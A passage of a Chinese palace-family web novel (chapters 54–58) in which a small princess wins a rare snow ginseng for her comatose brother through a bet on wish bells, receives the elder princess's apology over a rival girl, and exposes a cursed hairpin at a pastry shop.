团团歪着小脑袋想了想,点了点头,有些失望,原来,这个道长爷爷不是以前的道长爷爷啊。
程如安笑了:“原来是小女认错了,来,别让观主抱着了,娘亲领你进去,给大哥哥祈福。”
团团从玄清**的怀里滑下来,拉住母亲的手,跟着她走进了正殿之中,萧宁珣跟在后面。
三人来到法相庄严的三清**像前,虔诚地敬香,祈福,祝祷萧宁远能早日苏醒。
待三人站起身,玄清**先是唱了声道号:“无量天尊。”
随即目光温和地看向团团:“灵鹤通慧,感知天真,方才为你衔去枯枝,乃是一段善缘。”
话锋随即微微一转:“然世间万物,生灭有法,因果自循。鹤衔枯枝,是缘起,亦是劫消,莫非前定。”
他蹲下身,使自己的视线能与团团齐平:“小善信,你灵台澄澈,身负异禀,本是造化所钟。“
“但你要明白,世人皆各有其命数轨迹,犹如星斗各行其道,互有辉光,却不应轻易交轨。若强行以己之力,干预他人因果命数,非但原有轨迹尽改,亦会反噬自身。”
程如安和萧宁珣听得心头都是一紧,看向团团,若有所思。
团团看了他片刻,摇了摇头:“道长爷爷,你说的话,我听不懂捏!“突然她咯咯地笑了,伸出小手,摸向玄清道人的胡须:“道长爷爷,你的胡子好长好软啊!”
玄清**任由她捋着自己的胡子玩:“贫道的意思是,小施主遇到旁人有难时,莫要出手相助。那是他们自己的缘法,你不能插手。”
团团玩着他的胡子,清清楚楚地说了一句:“那不是旁人啊!道长爷爷,那是我家里的人。祖祖,爹爹,哥哥们都好了,娘亲才不会掉眼泪啊!”
程如安的眼泪刷的一下就落了下来,她情不自禁地俯身抱起了女儿,在她的脸上使劲亲了一口:“好孩子!娘亲的好女儿!”
团团的小手还拽着玄清道长的胡子,她这样一抱一站,玄清**被自己的胡子带着,也急忙站起身来。
团团大笑:“哈哈哈……道长爷爷!你好可爱哦!娘亲!你怎又哭了?不哭啊,大哥哥会好的。”
萧宁珣一脸动容地看着妹妹,眼神中全是宠溺和骄傲。
玄清**静
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立在原地,看着那小小的人儿眼中不容置疑的赤诚和坚定,“家人”二字从她嘴里说出来,重于千钧。
他终究没有再继续劝说,深邃的眼底掠过一丝叹息:“赤子之心,诚可贵也。但非有所愿,皆可得偿。”
“王妃娘娘,贫道告退。“说完,便转身而去。
程如安和萧宁珣望着他的背影,心中因他刚才的话而被掀起的担忧,与那浓得化不开的亲情交织在一起,百感交集,复杂万分。
程如安犹豫了片刻,把女儿放下:“珣儿,我再去跟玄清**说几句话,你带着她去外面走走,我去去就回。”
萧宁珣明白母亲心中的不安,因为自己也一样,点了点头:“好,我们就在这附近,等您回来。”程如安转身便向玄清**消失的方向走去。
萧宁珣领着妹妹在观中四处闲逛,来到了一处轩台前。
轩台上的栏杆上,系满了来敬香的人绑在上面的祈愿铜铃,连成一片,颇为壮观,微风拂过,成百上千只铃铛随风轻舞,发出一阵“叮咚”碎响,甚是好听。
团团立刻被这景象吸引,大眼睛睁得圆圆的,小手指着:“三哥哥,你听!真好听!”
“嘉佑郡主的好运是用完了吗?还需跑到这儿来绑祈愿玲?“
两人转身看去,正是霍文萱。
她已重新梳妆更衣,但脸上的神色铁青,瞪着他们,怒气冲冲毫不遮掩。
吕铮和吕倩茹一左一右站在她身侧,脸上都挂着不善的冷笑。
他们刚从后院的静室中出来,不想在此地与兄妹二人狭路相逢。
“什么小福星!不过只是一时的狗屎运罢了!我就不相信你永远都那么走运!“霍文萱看见团团,满心的嫉恨几乎就要喷出来,再顾不得什么文雅端庄了。
吕倩茹接过话头:“就是!用这种虚无缥缈的东西迷惑旁人,简直就是其心可诛!也不看看自己的身份,够不够跟文宣姐姐争宠!“
一句话说到了霍文萱心中的痛处,不禁赞赏地看了吕倩茹一眼。
第54章 把你的家底掏出来!
萧宁珣刚想反驳,玄清**刚才的话却响在了耳边,他瞪了几人一眼,牵着妹妹的手:“走,团团,别理他们。“转身就想走。
吕铮见两人要走,以为他们是落荒而逃,立时便得了意:“妹妹此言不错,这人的运气啊,哪有定数?我就不信你们永远都只走好运!萧小三你别跑啊,咱们打一赌如何?“
团团停下了脚步,回过头:“打赌?“打赌好啊!就像陆二那次在马球赛上用追风打赌,多好玩啊!
不过是个五岁的小娃娃,果然好骗!吕铮笑了:“对!打赌!“
“咱们就用这祈愿玲来做个验证,赌一把‘天意’!让老天爷告诉所有人,你这个小福星不过就是徒有虚名!“
团团拉着哥哥的手,走到他面前:“怎么赌呢?“
吕铮抬手指向那片祈愿玲,声音陡然拔高:“就赌这个!你们选一个,我选一个。谁的铃先被风吹响,就算谁赢。”
“我若赢了。“他抬手一指团团:“你就给文宣姐姐下跪赔礼,磕三个响头,还要大喊三声,我不是福星!“
霍文萱大喜,向他投去了赞赏的目光。
太好了!这个赌!宁王家若是输了,以后看她们还有何面目再跨进婶母宸晖殿的大门!
吕铮见了,心里暗自得意,果然使劲踩这兄妹俩,便是讨好霍文萱的最好办法。
父母总是嘱咐自己和妹妹,只要长公主还在,霍家就是谁都扳不倒的存在,咱们吕家若是跟霍家能荣辱与共,自然也就能在京城中屹立不倒。
“那要是我们赢了呢?“团团问道。
“你们若赢了,”他冷哼一声,满是轻蔑,显然半点都不认为自己会输,他是打从心底里认定,所谓仙鹤救人,不过巧合而已,鸟儿本就喜欢叼衔树枝,有何稀奇?
当然宁王兄妹这运气确实是不错,但正因如此,谁的好运能一直都有呢?又不是神仙!
“我吕铮就给你们磕三个响头!如何?敢不敢赌?!”
“吕铮!你浑蛋!”萧宁珣气得浑身发抖,竟然想让团团给别人下跪磕头,休想!这是什么烂赌约!
“怎么?不敢吗?”吕铮步步紧逼:“刚才不是还福运当头,仙鹤救人呢吗?既然运气这么好,你们还怕什么?为什么不敢赌?”
团团歪着小脑袋,看着他,凭什么你这个坏蛋说什么,我就要答应什么?我偏不:“没意思,一点儿都不好玩。“
吕铮皱了皱眉:“那你要怎么赌?”
最不喜欢磕头了,一点儿都不好玩,得从他那里赢些什么才好玩,可是,他家有什么呢?
团团看着他,非常认真地问:“你家里,有没有顶好顶好的药材呀?”如果有,拿回去给大哥哥吃!爹爹养病的时候,娘亲就天天给他熬药补身体,等大哥哥醒过来,也要吃啊!
吕铮一愣,完全没料到一个小娃娃会问这个,下意识地就显摆起来:“哼,你倒是识货!我家有一棵千年雪参!那可是最好的药材!吃了可以续命呢!”
团团抬起头望向萧宁珣:“三哥哥,他说的那个什么雪参,真的是顶好顶好的吗?“
萧宁珣瞬间便明白了她的心思,一股暖流夹杂着酸楚涌上心头,团团这是想把这雪参赢过来给大哥啊!他温柔地看着妹妹,点了点头。
团团的眼睛瞬间就亮了:“那好呀!除了磕头,你输了,就要把它送到我家来!”
她心里的小算盘打得噼啪响,等大哥哥一醒,拿给他吃,然后,大哥哥就有力气陪我玩啦!
“……”吕铮被这突如其来的额外赌注给整懵了。
既然妹妹想要,那就跟他赌!大不了,输了我磕头!萧宁珣把心一横,猛地看向吕铮:“没错!吕铮,你敢不敢赌?就赌你家那棵千年雪参!“
“若你输了,马上给我妹妹磕头认错,还要在三日内,将雪参送至我宁王府!”
“兄长!不可啊!那雪参可是父亲的至宝!“吕倩茹有些担心了,想拦住他,吕铮心里咯噔一下,也犹豫起来。
团团哼了一声:“胆小鬼!不跟你玩啦!“拉着萧宁珣的手便要离开。
眼看兄妹二人就要离开,霍文萱抬眼瞪向吕铮,眼神中的愤怒和轻蔑刀一样刮得吕铮脸皮火热。
此刻他已是骑虎难下,若这次退缩了,以后还怎么有脸再出现在霍文萱的面前!况且,他根本就不信自己会输!
“赌就赌!难道我还怕你们不成!”热血涌上了天灵盖,他一口应了下来。
几个小孩子声音都不低,此
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时已经有不少观中的道士和香客聚在了周围津津有味地旁观。
萧宁珣望向四周:“好!就这么说定了!我们输了,下跪磕头高喊自己不是福星,你若输了,磕头把雪参送到宁王府!这里在场的每一个人,都是见证!”
团团兴奋地拍了拍小手,满意了:“开始开始!你先选吧。“
吕铮赌上了自家的家底后,谨慎了起来,让我先选?一定有诈,不行!“你年纪小,我让着你,你先选!“
“好吧!你人还怪好呢!那……我选这只!“团团随手一指,
选中了低处一只看起来毫不起眼的铃铛:“小铃铛,一会儿给我唱歌听哦!“
吕铮大喜:“哈哈哈,你真蠢!难道不知道越高的地方,风才越大吗?“
他目光锐利地扫过那些祈愿铃,毫不犹豫地抬手指向最高处的一只青色铃铛:“我选这只!你们输定了!准备好磕头下跪吧。”
此时,四下里一丝风都没有,连树上的松针都凝滞不动。
所有人的心都提到了嗓子眼。
霍文萱既紧张又兴奋,吕倩茹一脸担忧。
其他人脸上则都是一副看好戏的表情。
空气仿佛凝固了,山风也屏住了呼吸。
突然,一缕清风仿佛自九天而来,精准无比地拂过了团团所指的那只低处的铃铛!
“叮——咚——”
一声清脆的铃音,如同天籁,骤然响起,无比清晰地回荡在寂静的轩台上,传入了每个人的耳中!
团团一下就蹦到了哥哥的怀里:“它唱歌给我听啦!三哥哥!好听吗?“
栏杆上,成百上千只铃铛全都沉默着,唯有那一只仍然响个不停。
这什么风啊!如此精准,如此……不容置疑!
“哗——”旁观众人都发出了难以置信的低呼。
吕铮脸上的嚣张得意瞬间彻底僵住,满是错愕与茫然,脱口而出:“不!这怎么可能!这绝对不可能!”
“哈哈哈哈!”萧宁珣刚才的怒火这一刻全部化为畅快淋漓的大笑,他指着吕铮:“吕铮!你看见没有!这就叫天意!你不是要看天意吗?这就是!你输了!”
他上前一步,死死盯着脸色惨白的吕铮,从牙缝里挤出两个字:“履、约。”
第55章 咱们去他家拿
吕铮浑身一颤,无数道目光落在自己身上,霍文萱的失望,妹妹的惊恐,旁观者的嘲讽……浑身的血液都凉了。
他张了张嘴,却一个字都没能说出来。
他想反悔,想狡辩,但刚才的赌约是自己提出来的,众目睽睽之下,有何理由反悔?
他的脸由白转青又由青转红,最终变成了一片死灰。
终于,他咬了咬牙,强忍着羞愧和**,踉跄着向前走了两步,在萧宁珣和团团的面前扑通一声跪了下去,极其快速地磕了三个头。
每一个头磕在地上,都像是砸在自己破碎的尊严上。
磕完后,他猛地站起身,头也不回,几乎是落荒而逃般冲向玄穹观的大门。
团团连忙冲着他的背影喊:“喂!别忘了那个雪参啊!”
吕倩茹恶狠狠地瞪了团团一眼,转身去追哥哥了。
两个同伴遭到如此惨败,霍文萱的脸色也是难看至极,她使劲跺了跺脚,连句撑场面的话都没再说就走了。
热闹看完了,旁观众人逐渐散去,观中恢复了往日的安宁,轩台之上,那一片祈愿铃还在轻轻吟唱。
萧宁珣俯身抱起了妹妹。
“三哥哥!咱们赢啦,等他们把雪参送来,拿给大哥哥吃!”团团搂着他的脖子,小声音软软响在他的耳边。
“好。”萧宁珣重重点头。
观中发生如此大事,小道士一路小跑着禀告了玄清**,程如安在一旁听得清清楚楚,面色微变,却并未多言。
辞别了玄清**,程如安带着儿女回到了王府。
晚膳时,团团兴高采烈地把今天发生的事,绘声绘色地讲给了爹爹和二哥哥。
萧宁辰看了一眼弟弟:“三弟,下次绝对不可这样了,太冒险了。若万一输了,团团今后还如何在京中立足?”
萧宁珣低下了头:“是我莽撞了,以后不会了。”
团团赶紧走到二哥面前,爬到他的怀里:“二哥哥,三哥哥一直护着我呢,他是好哥哥,你不要说他嘛。“
萧宁辰把她稳稳地扶到自己腿上,喂了她一块鱼肉:“好!团团说得对!二哥不说他了。“
萧元珩却不以为意:“怪不得珣儿,吕家那个小子如此嚣张,是该给他些教训。”
目光落在妻子脸上,却发现她始终一言未发。
晚上,团团睡着了。
萧元珩柔声轻问:“安儿,何事忧心?”
程如安叹了口气,将玄清**的话都告诉了丈夫:“王爷,我真的好怕,团团那么好,我真担心她……”
她顿住了,没有说下去。
萧元珩把妻子轻轻拉进怀里:“不必担心,无论什么事,咱们一家人都一起承担,有何可惧?难道我还护不住自己的孩子?”
“玄清**所言,虽然有理,但团团所为,既然都是行善而非作恶,相信老天绝对不会薄待了她。”
程如安靠在丈夫胸口,听了他的宽解,积累了半日的担忧终于卸了下来,仔细想了想:“王爷说得有理,是我太担心团团了。她虽非我亲生,但我却总觉得她就是我的骨肉。”
心里的重担没了,她才笑了出来:“团团这个机灵鬼!居然把吕大人家最宝贝的雪参给赢了过来,吕大人此时不知得多心疼呢。吕铮那孩子,怕是要挨家法了。”
萧元珩也笑了:“是啊,这孩子,真是古灵精怪,你说她怎么就能想到这个。”
程如安却明白:“因为她观念着她大哥啊。对了,王爷,赵大人的事如何了?”
萧元珩哼了一声:“远儿被害一事,已是铁证如山,大理寺审核过了,明日便移交刑部。赵家自己一团污秽,居然还妄想吞掉王府商行,圣上必会严惩。”
程如安点了点头:“我只盼着远儿能快些醒过来,虽说郭太医一再保证他身上的毒已清,但他一日不醒,我这心便一日放不下来。”
萧元珩轻抚妻子的秀发:“有团团这个福星在,远儿一定会无事的,别想了,歇息吧。”
夫妻二人说完了体己话,一同睡下了。
翌日一早,
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团团起床张口便问:“娘亲!雪参送来了吗?’
程如安一愣:“不是答应了三日之内送过来嘛,这一大早的,哪里就送过来了。“
团团撅起了小嘴:“可是,我想快点儿给大哥哥吃嘛!娘亲,咱们现在去他家拿好不好?“
程如安惊呆了:“啊?不成!“
“为什么捏?“团团很奇怪。
“因为咱们若是上门去拿,那姓吕的小子怕是会被你活活气吐了血。“
萧元珩接口,他外面走进来,正好听到母女俩的闲聊。
“爹爹!“团团开心地扑了过去。
萧元珩抱起闺女,越看越是喜欢,捏了捏她的小脸蛋:“团团给大哥哥弄来了那么好的东西,爹爹要赏你!想要什么?跟爹爹说。”
团团很认真地想了半晌:“要大哥哥醒过来。”
萧元珩心里一颤,这孩子心地如此纯净,又聪慧无比,太难得了,我萧元珩何德何能,能有这样一个好女儿。
他在她的小脸上轻轻亲了一口,柔声道:“好团团,放心吧,你大哥他会醒过来的。”
吕家的动作很快,未到午时,就把雪参送到了王府。
下人回禀:“是吕家的管家亲自送来的,来的时候脸沉得厉害,说是他家的少爷因为这事儿,昨晚被吕大人险些打折了腿,现在还在祠堂里受罚呢。“
萧宁珣想起昨日吕铮那嚣张的嘴脸,哼了一声:“活该。“
萧宁辰走到桌前,将装着雪参的锦盒盖子打开,一股沁人心脾的异香便瞬间弥漫开来。
众人都围了过来。
只见这雪参竟已有了几分看似人形婴孩的轮廓,头颅、四肢、躯干分明,须发皆白,仿佛一个正在沉睡的雪娃娃。
通体呈现出一种莹润剔透的雪白色,却又隐隐透出一抹流动的金色脉络,浑身氤氲着一层乳白色的光晕,灵气逼人。
团团凑过去使劲闻了闻:“好香啊!闻起来甜甜的!“
程如安一脸惊喜:“王爷!这雪参果然不是凡品!“
第56章 这宁王,不做也罢
午后,郭太医被请到了养正轩。
一看到案上的雪参,他的目光便被牢牢地锁住了:“这……这莫非是……千年以上的雪参?!“
“医书有载,千年雪参,参体如玉,金络内蕴,异香凝而不散。老夫行医一生,只在珍本图录中见过此等神物!”
郭太医看得啧啧称奇,爱不释手。
团团问道:“老爷爷,这个雪参有用吗?”
“何止有用!这是续命通经、补元固本的无上圣品啊!”
团团眼睛一亮,高兴了:“那大哥哥醒过来能吃它吗?“
“醒过来?不不不,小小姐,现在就可以给大少爷服下。此物入口,哪怕是将死之人,也能从阎王手里抢出些时日来。“
他激动的胡须都在发抖,几乎要对着雪参顶礼膜拜,好不容易稳住心神,对着萧元珩和程如安深深一揖:“王爷,王妃!恭喜恭喜!“
“有此神物,老夫敢断言,大少爷苏醒之期指日可待!”
程如安忙问:“如何服用?“
郭太医想了想:“此物药性至纯至强,宛若洪流,大少爷又年纪不大,因此万万不可躁进。“
“需以金刀刮之,取下少许参须粉末,每次也就毫厘之重。再将这粉末放入大少爷口中,令其含服,借唾液缓缓化开药力,滋养经脉。”
“切记,每日最多一次,用量绝不可多!需循序渐进,待大少爷的身子有所好转之后,再酌情微增用量。如此,既不伤他的身子,又能将这千年雪参之神效发挥至最大。”
他从药箱中取出一把精致的金刀,一边说着,一边小心翼翼地刮下了一点粉末来,放在手心里:“每次这些,便可以了。”
程如安连忙拿起桌上一只小碟子,将他手心中的药粉接了过来,仔细地喂到萧宁远的口中。
“如此便好?”
“足矣!足矣!”郭太医感叹了一声:“这雪参来得甚是及时,大少爷正需此物,王府便能寻来,当真是福运齐天。”
团团得意地晃着小脑袋:“老爷爷,这是我打赌赢来的哦!”
郭太医一愣:“莫非,外面传闻,吕大人家的孩子昨日在玄穹观与人打赌,将家中至宝输了出去,便是这雪参?竟是输给了小小姐?”
团团使劲点头:“对啊!就是我!”
郭太医笑了:“认赌服输,倒也应该。”
程如安皱起了眉头:“郭太医,此事外面已有传闻?”
郭太医忙道:“老夫也只是道听途说罢了,这传闻嘛,总是容易越传越玄的,老夫本以为是玩笑,没想到竟真有此事。”
程如安看了看丈夫,岔开了话题:“不知我儿服了这雪参后,多久才能醒来?”
郭太医为人谨慎,不敢妄言,急忙拿出了脉枕,将萧宁远的手腕放在上面:“容老夫为大少爷把个脉,细细斟酌,再给王妃回话。”
半晌后,他撤回了手:“回王妃,据老夫诊断,少则三五日,多则不超过十日,大少爷自会醒来。”
团团蹦到了程如安的怀里:“娘亲!老爷爷说啦!大哥哥过几天就能醒啦!”
“是啊!多亏了团团哦!”程如安紧紧地抱了她一下:“去跟你二哥三哥一声,他俩在辰振轩练剑呢。”
“好嘞!”团团一蹦一跳地出去了,刘嬷嬷赶紧跟了上去。
郭太医走后,萧元珩知道妻子在担心什么:“安儿,不必担忧,玄清**不是也说过团团,灵台澄澈,身负异禀。”
程如安眉头深锁:“团团的能耐显现得越多,我越担心有人会拿她来做文章,对她不利。”
萧元珩爽朗大笑:“安儿,本王若连自己的女儿都护不住,这宁王,不做也罢!”
程如安想了想,眉峰终于舒展:“王爷所言甚是!”
下人在外回禀:“宸晖殿的张公公已到府外,说是,传长公主懿旨。”
程如安看了丈夫一眼,吩咐:“请到正厅,我随后便到。”
“是。”
萧元珩眉头微蹙
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:“长公主?莫非是为那霍文萱而来?”
程如安缓缓站起:“王爷安坐。内宅小事,妾身应对即可,团团并没有做错,若长公主护短偏私,就算她是长公主,妾身也断不会容她欺负我的女儿!“
萧元珩看着妻子,展颜一笑:“这才是我的好王妃!你去吧,若有事,本王给你坐镇!“
程如安来到前厅,张公公急忙行礼:“见过王妃。“
“公公有礼了,不知长公主殿下有何懿旨?”
张公公满脸堆笑:“殿下命杂家前来,特为昨日玄穹观中之事。“
“殿下言道,霍氏文萱,虽承欢于膝下,然疏于管教,以致性情骄纵,口出妄言,竟敢冲撞郡主,此乃吾之过也。”
程如安面露惊讶,长公主这是,来致歉的?
“殿下得知昨日之事,震怒不已。已对霍小姐施以重罚:责令其于宸晖殿偏殿中抄写《静心经》《女诫》各百遍,反省己过。”
“殿下还说,‘宁王府乃国之柱石,嘉佑郡主赤子童心,纯净可爱,万不可因小辈无状而伤了彼此和气。’此番小惩大戒,望王爷王妃海涵。”
程如安忙道:“殿下言重了,臣妇惶恐。”
“王妃客气了。“张公公挥了挥手,几个小太监鱼贯而入,将手中食盒一一放到桌上,掀开了盖子。
“殿下说,嘉佑郡主年纪尚小,必是喜欢甜食的,命御膳房紧着赶制了这些,还有其他几样进贡来的蜜饯糖果,也一并都赐给她尝尝,聊博郡主一笑。“
程如安连忙道:“谢长公主殿下赏赐。公公一路辛苦,请公公收下喝茶。“旁边婢女急忙走上前,将一个荷包递给了他。
张公公接了过来,拱了拱手:“多谢王妃。长公主殿下对嘉佑郡主惦记得紧,王妃若有空,多带郡主去宫里坐坐。杂家的差使了了,告辞。”
程如安微微颔首:“公公慢走,请公公代我回禀长公主殿下,明日臣妇便带着郡主,进宫谢恩。”
第57章 这个,是个坏东西!
次日,程如安备了几样首饰,带着团团,走进了宸晖殿内殿。
殿内光线柔和,熏香袅袅。
程如安和团团给长公主行了大礼:“长公主殿下金安,谢长公主殿下厚赐。”
长公主面含微笑,如沐春风:“今日只论辈分亲情,不论朝堂高低。快快请起,赐坐,上茶。”
程如安端庄入座,团团乖巧地依偎在母亲身边,一双大眼睛眨巴眨巴地望着长公主。
长公主冲着她招了招手:“团团,来,到皇姑姑身边来。“
团团颠颠儿地跑了过去,小声音脆脆的:“皇姑姑!“
“诶!“长公主伸手把她搂进了怀里:”昨日有没有吓到啊?皇姑姑可是听说了,吕家兄妹对你很凶呢。“
团团摇了摇头,挺着小胸脯:“没有啊!我比他们凶!“
长公主一愣,看向程如安,微微一笑:“这孩子胆子还真不小。“
程如安忙道:“正可谓初生牛犊不怕虎。孩子越小,越不知惧怕,难免失了轻重。“
“无妨,王妃不必介意。“长公主摇了摇头,目光回到团团身上:“昨日皇姑姑给你的甜点尝了吗?可还喜欢?“
团团靠在她怀里,玩着她的衣角:“喜欢!都好吃!谢谢皇姑姑!“
此时,门外内侍的声音传了进来:“霍文萱小姐求见。“
长公主头都未抬,淡淡地吩咐了一句:“让她进来。“
霍文萱走了进来,给长公主行和程如安行礼:“见过长公主,宁王妃。“
程如安微笑点头:“霍小姐快请起,不必拘礼。”
“你小小年纪,昨日想必也受惊不小,我带了几样首饰来,还算精致,你戴着玩罢,也算是给你压压惊。“说完,将带来的几个小小的锦盒放到了桌上。
霍文萱深深一福:“文萱谢王妃娘娘赏赐。“眼角却飘向了正窝在长公主怀中的团团,心里顿时火冒三丈,她居然能同婶母如此亲近!
那是我的位置!只有我!她凭什么抢走我的位置?
长公主抬起头看着她:“叫你过来,是给宁王妃母女赔罪的,你倒还先收了人家的礼了?“
霍文萱身子一僵,脸色有些发白,但在长公主平静却迫人的目光下,不得不低头再次给程如安行了大礼:
“昨日是文萱言行无状,冲撞了王妃娘娘与嘉佑郡主,还请娘娘和郡主莫要介怀。”她声音微弱,低垂的眼睫几乎盖不住里面翻涌的怨毒。
程如安神色淡然地受了她的礼:“霍小姐言重了,不过小辈间的玩闹而已,过去便罢了。”
团团全当没有听见,一眼都没看她,又玩起了长公主腰间的玉佩上的丝绦。
长公主何等人物,一眼便将她看透了,心中更是失望,只淡淡道:“既知错了,便回去继续抄你的《静心经》吧。”
“是。“霍文萱脸上青白交错,几乎是踉跄着退了出去。
殿内一时安静下来。
长公主轻轻叹了口气,看向程如安:“这儿女事啊,最是操心。府上大公子的事,本宫也听说了。”
“那林氏心术不正,落得如此下场,实属咎由自取。只是苦了孩子们。”
程如安点了点头:“劳殿下挂心。幸得上天庇佑,昨日团团跟吕家打赌赢得那株雪参,郭太医说,甚是合用,远儿服了之后,这几日便能醒过来了。”
“哦?当真?”长公主眸光微动。
“正是。”程如安含笑点头,温柔地看向团团,“这孩子,知道她大哥病重,便一直心心念念只想他能好起来。”
长公主动容地看着怀里的团团:“小团团,你是想要那雪参,才应了赌约?”
团团抬起小脑袋与她目光相对:“是啊!皇姑姑!”
程如安道:“昨日在观中,这孩子一听吕家公子提及此物,便不管不顾地非要为她哥哥给赢过来。说来也是侥幸,竟真让她成了。”
长公主拉起团团一只小手,叹息道:“好孩子,真是个至纯至孝的好孩子。那般危急的赌局,你竟是为了救兄长而应,这般赤诚心性,难怪能得上天眷顾,心想事成。”
她抬起头,正色道:“本宫常说,孩子可以娇养,但心性定要端正。”
“如今看来,王妃将郡主教养得极好。本宫从前是过于宽纵了,文萱若有她半分懂事,本宫便心满意足了。”
程如安忙道:“殿下过誉了,团团还小,当不得如此夸赞。”言辞虽谦逊,眼中却满是为人母的骄傲。
此时,霍文萱并未远离,而是躲在了殿外的柱子后面,偷偷的听着里面的动静。
长公主对团团的那番毫不吝啬的夸赞,每一个字,都像是一根烧红的针,
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狠狠地扎进了她的心里。
她想起刚刚婶母对自己的冷淡和训斥,眼泪瞬间冲出了眼眶。
凭什么那个乡下养大的野丫头能得到婶母如此毫不掩饰的喜爱和夸奖?
自己这么多年来小心翼翼地讨好,就因为这个野丫头的出现,便被婶母全都否定了?
她使劲攥紧了拳头,泪水模糊了眼前的一切,怨恨与嫉妒积满了胸腔,几乎就要迸发出来。
她咬了咬牙:“嘉,佑,郡,主!“愤然而去。
程如安与长公主又闲聊了几句家常,便告辞了,带着团团登上了回府的马车。
才走到半路,团团突然想了起来:“娘亲!咱们去巧酥阁买点心好不好?“
“昨日长公主不才赏赐了许多甜品给你吗?“
团团搂着母亲的脖子:“可是,好几日都没去巧酥阁啦!我想去看看又出了什么新鲜花样儿嘛!
程如安笑了:“好!那咱们就去看看!”
团团蹭着她的脖子:“娘亲真好!娘亲对团团最好啦!”
很快,马车停在了巧酥阁门外。
店里的伙计们看到马车上宁王府的家徽,一个跑出来相迎,另一个则赶紧进去禀告了掌柜。
程如安领着团团走进去时,一个年纪约莫二十五六岁,身穿靛蓝色衣裙的妇人迎面走了过来。
只见她垂首躬身,恭敬地给程如安行了个礼:“民妇谢云舒,正是这间巧酥阁的东家,不知宁王妃驾临,有失远迎,还请娘娘恕罪。”
程如安微微一惊:“没想到京城赫赫有名的巧酥阁竟是一位女东家的手笔,失敬,失敬。
“谢老板,这是小女嘉佑郡主,平日便极爱你家的点心,今日前来,是想看看店里是否又出了什么新花样儿。“
谢云舒赶忙又给团团行了个礼:“原来是嘉佑郡主。小店这点微末手艺,竟能得嘉佑郡主青眼,真是荣幸。”
“今日正好有一样枣花酥是新推出的,不知郡主是否喜欢枣子做的点心?“
程如安领着团团刚想往里走,团团却停在了原地没有动。
两个大人都很奇怪,不是来买点心的吗?
程如安俯下身:“怎么了团团?是不喜欢枣子做的点心吗?“
团团的小脸皱了起来,伸出小手指着谢云舒的头:“娘亲!这个,是个坏东西!“
第58章 随便吃!随便拿!
谢云舒一脸诧异地指了指自己:“郡主此话何意?”
团团的手并没有放下:“头上!这个!”
谢云舒这才明白过来,今日自己头上仅戴了一只发钗,并无其他首饰,想必指的便是这个。
她抬起手,将发钗拔了出来:“郡主说的是这个?”
团团用力点头:“就是这个!这是个坏东西!会倒霉的!”
谢云舒看了看手中的发钗,满脸困惑:“这发钗乃是一位贵人相赠与我,怎……怎会?”
程如安仔细看过去,那是一个赤金的发钗,做工极其精巧,式样却不常见。
一般女子佩戴的发钗,都是喜上眉梢,缠丝花朵,彩蝶飞舞之类的,这个金钗却心思独特,竟是鲤跃龙门的式样。
虽说鲤跃龙门也是寓意吉祥,但极少用在女子的饰品当中。
发钗主体是一条金灿灿的锦鲤,身体弯曲成跳跃之状,鱼鳞片片清晰,眼睛是两颗细小的黑色宝石,用来插入发间的钗杆,则是被鱼嘴紧紧地含住,神态自然,栩栩如生。
但除了式样,也看不出哪里不妥。
程如安轻声问道:“团团,这个发钗哪里不妥啊?”
团团冲着谢云舒伸手,谢云舒惊疑不定,半信半疑地将发钗放入了她的手中。
团团拿着金钗,小手指在那条锦鲤身上来回细细地摩挲,翻来覆去地仔细端详。
谢云舒看了半晌,不由得暗自失笑,自己怎么竟将个孩子的话当了真。
想来只是这发钗样式新奇,才吸引了小孩子的注意,所谓坏东西,不过是想讨来拿着玩的借口罢了。
“请郡主慢慢赏鉴,民妇先去将点心包好……”她话还未说完,“咔哒咔哒咔哒“几声连续的机括轻响,异常清晰地传进了耳中。
程如安瞳孔一缩,谢云舒瞪大了眼睛,只见团团的小手扣住了锦鲤微张的鱼嘴旁边的某个地方,左转三下后又向右转了两下,轻轻一掰,竟将钗杆直接从鱼嘴里给抽了出来!
钗杆去掉后,锦鲤的嘴就成了一个乌黑的小洞。
团团往小洞中张望了一眼,将锦鲤了倒过来,霎时间,几根枯黄纤细的发丝,从小洞中悄然飘落到地面。
就在发丝触地的刹那,“呼——!”
一股阴冷彻骨的寒风毫无征兆地平地卷起!
风声低吼犹如呜咽,缠绕在三人的周围,吹得她们衣袂翻飞,寒毛直竖,团团被吹得有些睁不开眼,程如安大惊失色,一把将女儿抱进怀里,用自己的身体护住了她。
风声越来越大,围绕了数圈后,卷起掉落在地上的发丝,猛地朝店门外冲去,消散无踪。
店里的伙计和其他的几个客人站在一旁全都吓得呆若木鸡。
谢云舒脸色煞白,手紧紧地捂住了心口,方才那股寒意几乎要将她浑身的的血液全部冻僵。
团团从母亲怀里抬起了小脑袋:“哇哦!刚才风好大啊,娘亲你看!鱼鱼的眼睛变了!“
她举起手里的金钗,只见那两颗原本黝黑灵动的宝石鱼眼,此刻竟彻底失去了所有光泽,变得灰白、死寂,像死鱼的双眼了。
程如安皱起眉头,手臂依然环在女儿身上,不敢松手。
“这,这是……什么东西……”谢云舒嘴唇颤抖,心中一阵强烈的后怕,若非今日遇到这小郡主,自己日日头上顶着这样的邪祟之物,还能有什么好下场?
团团收回了手,轻轻抚摸着锦鲤:“鱼鱼啊,你现在舒服了吧。”
谢云舒突然想起今早店里的伙计们都在议论的,从街上听来的闲话,昨日玄穹观中几个孩子打赌,宁王家的小郡主赢了吕大人家兄妹……宁王家的?小郡主?
她面带敬畏地问道:“嘉佑郡主?莫非,便是昨日在玄穹观中,以祈愿铃打赌赢了吕家公子,为兄长赢下千年雪参的那位小郡主?”
团团骄傲地挺起了小胸脯,下巴扬得高高的,脸上写满了“快夸我”三个大字,脆生生地应道:“对啊!那就是我呀!我赢啦!大哥哥就快醒啦!”
谢云舒此刻心中再无任何疑虑:“此事如今已传遍京城,都在说小郡主就是个小福星,如今看来,果真如此,不但福运齐天,还
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古道热肠!”
她当即后退一步,对着团团和程如安便是深深一福,语气无比郑重:“民妇多谢小郡主今日点拨救命之恩!此恩此德,没齿难忘!王妃娘娘有女如此,真是有福了!”
说完,她转身吩咐那些还没反应过来的伙计们:“快!将店里所有的点心,每一样都仔细包上一份,立刻送到宁王府的马车上去!一样都不许遗漏!”
程如安一听,啊?那哪里吃得完啊!连忙阻止:“谢老板不必如此。”
谢云舒摇了摇头,怎么都不肯不让步,见她执意如此,程如安只好作罢。
“小郡主。“她蹲下身子,温柔地看着团团:”从今往后,你就是我巧酥阁最尊贵的客人。“
“只要你来,店里所有的点心,你随便吃,无论看中什么,尽管拿去!”
